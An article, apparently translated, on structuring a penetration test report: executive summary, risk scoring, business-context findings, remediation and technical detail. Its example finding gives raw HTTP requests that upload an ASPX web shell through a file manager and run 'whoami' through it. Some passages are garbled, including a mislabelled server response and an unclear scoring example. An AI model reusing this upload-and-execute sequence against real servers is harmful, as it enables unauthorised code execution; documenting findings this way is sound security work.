What should a good penetration test report look like?

An experienced pentester, he knows that a well-written report is characterized by the fact that after its presentation the client does not have any additional questions. To do this, it should contain at least four basic sections with information for different audiences.

Section 1: General information and statistics

While a programmer to fix bugs may need all the technical details, management may not understand the technologies used and specialized vocabulary. Instead, they need to understand business risk. It is necessary for business leaders to understand what is at stake in order to make informed decisions for their companies. An accessible summary of the information contained in the entire report is necessary to ensure a correct understanding of the risks entiling. In addition, the first section should contain formal information, i.e. information on what was tested and with what permissions, when it was tested, who took part in the tests, whose order the tests were carried out on. The figure below shows sample tables with this information.

Visual communication can also be helpful in clearly conveying detected security errors. Use all kinds of charts and similar graphic elements to help you visualize bulk data.

When assessing risks, the following should be followed:

risk = hazard * probability of occurrence * impact on business.

Where a hazard is the general risk associated with a particular vulnerability. The probability of occurrence means how hard it is to exploit a security error. The impact on the business determines the losses associated with the attacker's use of the error. The following graphic provides a table that is useful for assessing the risk of vulnerability data. For example, if the threat is high and the vulnerability is very easy to exploit ( vulnerability ) – C and the impact is average – Medium, we get a total of 24 points, which means that the vulnerability has an average risk. Another figure shows how to visualize the amount of vulnerabilities detected.

Based on your risk assessment, the report recipient should first fix the most critical errors. They pose the greatest threat to business and can result in high financial losses.

Section 2: Description of vulnerabilities detected

Most penetration test reports use some kind of risk assessment system, but it is rare to take the time to explain what the risks associated with a given vulnerability are. The customer must make quick and accurate decisions about what steps to take after becoming informed of existing security errors. This often involves the need for an additional budget, which requires approval from non-technical high-level officials.

To make difficult decisions easier, describe the vulnerabilities detected in a way that shows the impact on your business. For example, if a critical vulnerability is detected that could allow any files to be transferred to the healthcare portal, there are two ways to report it:

• Technically accurate – X's web application does not restrict the transfer of files by type, creating a vulnerability that could allow an attacker to execute code remotely and elevate the application's privileges.
• Both accurate and contextual – X's web application does not restrict the transfer of files by file type, creating a vulnerability that could allow an attacker to remotely execute unwanted code and elevate its privileges in the application. In this case, an attacker could view any user's medical records and act as an administrator in the application.

The second way has more weight, pointing not only to technical aspects, but also to the impact on business. The most valuable reports are those that appeal to all audiences in a language that people, especially in leadership positions, understand.

Section 3: Repair recommendations

One of the most important things that the customer who commissions penetration tests depends on is the subsequent repair of the detected security vulnerabilities. To make this possible, the penetration tester is expected to indicate, in addition to describing the vulnerabilities detected, how to repair or mythicate the risks associated with detected errors. This section is primarily intended for people with technical training who are directly concerned with application code, server configuration, or database. It is helpful to add additional links to external sources describing how to fix the found security errors. The following figure shows an error displaying detailed sensitive information. This data often includes technical information, classes, methods that caused the error, the exact version of the server, or the system paths of applications and configuration files.

The following is an example recommendation for an error that displays detailed error information.

Section 4: Technical details of vulnerabilities

The last section should contain technical details of the vulnerabilities found. It is especially useful for developers to understand what a bug is and how to reconstruct the steps needed to perform it. This is especially useful if you need to locate the source of the problem and subsequently verify that the repair method is effective.

The following is a detailed technical description of the vulnerability of uploading any file to the server.

On the server at server/Content/Roxy_Fileman/ there is a file viewer that allows logged-in users with the appropriate permissions (tested administrator account) to upload them as well (including scripts executing commands on the system):

Request with uploading to the server a script executing commands on the system:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/Content/Roxy_Fileman/
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=---------------------------13949612691104534433104770617
Content-Length: 1861
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="action"
upload -----------------------------13949612691104534433104770617

Content-Disposition: form-data; name="d"
-----------------------------13949612691104534433104770617
Content-Disposition: form-data; name="files[]"; filename="cmdasp.aspx"
Content-Type: application/octet-stream
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>


Server response with a successful script upload response:

POST /Admin/RoxyFileman/ProcessRequest?a=UPLOAD HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNetMvc-Version: 5.1
X-AspNet-Version: 4.0.30319
Set-Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69; expires=Fri, 09-Nov-2018 16:53:07 GMT; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Thu, 09 Nov 2017 16:53:07 GMT
Connection: close
Content-Length: 60



The uploaded resource can be accessed without authorization at server/media/uploaded/file name

Request to server with command to execute – whoami displaying the current system user:

POST /media/uploaded/cmdasp.aspx HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://XXXXX/media/uploaded/cmdasp.aspx
Cookie: XXXXX=32b8a4de-a83d-45c8-8471-927e301a9b69;
XXXXX=AFD96B4B580D29A3CDFC11265B5B4C4A942D164F2D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 290
[...]
EVENTVALIDATION=%2FwEdAANRWJmrTmf23QBZNDbQYsx5itssAmaVIY7AayhB9duwcnk2J
DuMxrvKtMBUSvskgfELw WmgNGW8Lr4a8NezI%2FkHrIsB
%2FLodYxPpo9ud%2FbHu4w%3D%3D&txtArg=whoami&testing=excute

Server response confirming the execution of the command:

The mechanism for uploading files is identified at the following addresses:

• /Admin/Invoice/InvoiceEdit
• /Admin/Invoice/InvoiceItemList
• /Admin/Newsletter/GroupSubscriptionsList
• /Admin/Newsletter/SubscriptionList
• /Content/Roxy_Fileman/index.html

Security errors will never be completely eliminated. They appear both in Microsoft products, despite the implementation of the Security Development Lifecycle process (which includes various security tests and source code audits), and in the Linux kernel.They can be found both in open source projects and in those where code is closed. An important point is that the lack of detection of susceptibility when conducting penetration tests is not synonymous with the fact that they are not there. This only means that in a limited time and using certain means, knowledge and experience, the pentester could not find them. Nevertheless, looking at the results of penetration tests, conclusions can be drawn regarding the quality of the application, or more importantly in the case of discovered errors, find out what risks they entail.